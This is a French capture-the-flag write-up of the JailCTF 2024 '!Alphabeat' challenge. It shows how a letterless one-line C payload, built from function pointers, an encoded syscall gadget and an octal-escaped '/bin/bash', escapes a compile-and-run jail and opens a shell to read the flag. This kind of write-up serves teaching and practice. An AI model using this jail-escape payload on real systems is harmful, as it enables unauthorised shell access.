MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

🔠 !Alphabeat

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/usr/local/bin/python3 -u
import os
import subprocess
import tempfile
import re

print("Input your code (1 line)")
code = input("> ")

if re.search(r'[A-Za-z]', code):
    print("No letters allowed")
    exit(1)

with tempfile.TemporaryDirectory() as td:
    src_path = os.path.join(td, "source.c")
    compiled_path = os.path.join(td, "compiled")
    with open(src_path, "w") as file:
        file.write(code)
    
    # Entry point is _ *NOT* main. Keep that in mind
    # as the chal is literally impossible without this
    returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

    if returncode != 0:
        print("Oops, there were some compilation errors!")
        exit(1)

    print("Good luck!")
    subprocess.call([compiled_path])

🚩 Avoir le flag

Bon bon bon, on a un challenge qui compile du code C et l'exécute. On ne peut pas utiliser de lettres dans le code source, mais on peut utiliser des chiffres. On a aussi un indice qui nous dit que le point d'entrée n'est pas main mais plutot _.

De suite j'ai une première idée qui me viens en tête :

  • Ecrire la fonction _
  • Lui injecter un pointeur sur fonction qui pointe vers execve ou syscall

Donc en dehors de toute blacklist faire quelque chose comme ça :

int _() {
    (*$)() = 0x0000000;
    $(59, "/bin/bash", 0, 0);
}

Assez simplement on a notre code source :

int _(){
}

Mais on a le mot clé int qui est une lettre. On ne peut pas l'utiliser.

Le défault de C

En C, si on ne spécifie pas le type de retour d'une fonction, le compilateur va automatiquement le mettre en int. C'est pour cela que l'on peut enlever le int de notre fonction _ et le code va toujours compiler.

_(){
}

Maintenant il nous faut une variable qui soit un pointeur sur fonction sauf que comment nous pouvons faire ?

Pas besoin de type en C

En C, il n'y a pas besoin de type pour déclarer une variable SI est seulement SI elle est déclarée dans le scope global. C'est à dire en dehors de toute fonction.

$;

_(){
}

Ici $ est une variable qui est un int.

Donc pour mettre notre variable en pointeur sur fonction, il suffit de la déclarer en dehors de toute fonction.

(*$)();
_(){
}

A présent nous devons avoir un pointeur sur fonction qui pointe vers l'adresse de la fonction execve ou syscall. Pour cela nous allons simplement décaler dans notre mémoire notre rax pour qu'il mettre directement notre 59 dans l'adresse de lancement d'un syscall.

(*$)();
_(){
    $= 0x50f3bb0;
    $("/bin/bash", 0, 0);
}

Et nous devons maintenant trouver un moyen de mettre notre /bin/bash avec uniquement des chiffres. Pour cela c'est très simple nous allons simplement le mettre en octal.

(*$)();
_(){
    $ = 0x50f3bb0;
    $("\057\142\151\156\057\142\141\163\150", 0, 0);
}

Et il nous faut maintenant décaler notre pointeur sur le syscall qu'on a créé. Pour cela on va simplement décaler notre pointeur de 11 octets.

(*$)();
(*$__)();
_(){
    $__= 0x50f3bb0;
    $=_+11;
    $("\057\142\151\156\057\142\141\163\150", 0, 0);
}

A présent nous avons une dernière chose à faire, c'est de mettre notre adresse de mouvement 0x50f3bb0 en int. Pour cela on va simplement le mettre en octal.

(*$)();
(*$__)();
_(){
    $__= 84884400;
    $=_+11;
    $("\057\142\151\156\057\142\141\163\150", 0, 0);
}

Il suffit maintenant de mettre notre code en une seule ligne et de le mettre dans le challenge.

(*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}

Et voilà, nous avons notre flag.

Input your code (1 line)
> (*$)();(*$__)();_(){$__=84884400;$=_+11;$("\057\142\151\156\057\142\141\163\150",0,0);}
Good luck!
ls -la /
total 64
drwxr-xr-x   1 nobody nogroup 4096 Sep  7 23:35 .
drwxr-xr-x   1 nobody nogroup 4096 Sep  7 23:35 ..
drwxr-xr-x   2 nobody nogroup 4096 Sep  7 23:35 app
lrwxrwxrwx   1 nobody nogroup    7 May 13 00:00 bin -> usr/bin
drwxr-xr-x   2 nobody nogroup 4096 Jan 28  2024 boot
drwxrwxrwt   2 nobody nogroup  100 Sep 14 18:31 dev
drwxr-xr-x  46 nobody nogroup 4096 Sep  7 23:35 etc
-rw-r--r--   1 nobody nogroup   47 Aug  2 20:00 flag-655089ec904a39e5523a6a0e.txt
drwxr-xr-x   2 nobody nogroup 4096 Jan 28  2024 home
lrwxrwxrwx   1 nobody nogroup    7 May 13 00:00 lib -> usr/lib
lrwxrwxrwx   1 nobody nogroup    9 May 13 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 nobody nogroup 4096 May 13 00:00 media
drwxr-xr-x   2 nobody nogroup 4096 May 13 00:00 mnt
drwxr-xr-x   2 nobody nogroup 4096 May 13 00:00 opt
dr-xr-xr-x 178 nobody nogroup    0 Sep 15 12:38 proc
drwx------   2 nobody nogroup 4096 May 14 07:16 root
drwxr-xr-x   3 nobody nogroup 4096 May 14 02:54 run
lrwxrwxrwx   1 nobody nogroup    8 May 13 00:00 sbin -> usr/sbin
drwxr-xr-x   2 nobody nogroup 4096 May 13 00:00 srv
drwxr-xr-x   2 nobody nogroup 4096 Jan 28  2024 sys
drwxrwxrwt   3   1000    1000   60 Sep 15 12:38 tmp
drwxr-xr-x  12 nobody nogroup 4096 May 13 00:00 usr
drwxr-xr-x  11 nobody nogroup 4096 May 13 00:00 var
cat /flag-655089ec904a39e5523a6a0e.txt
jail{writing_C_just_the_way_it_was_meant_to_be}

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
👮 JailCTF - 2024
Next
🧑‍🦯 Blind Calc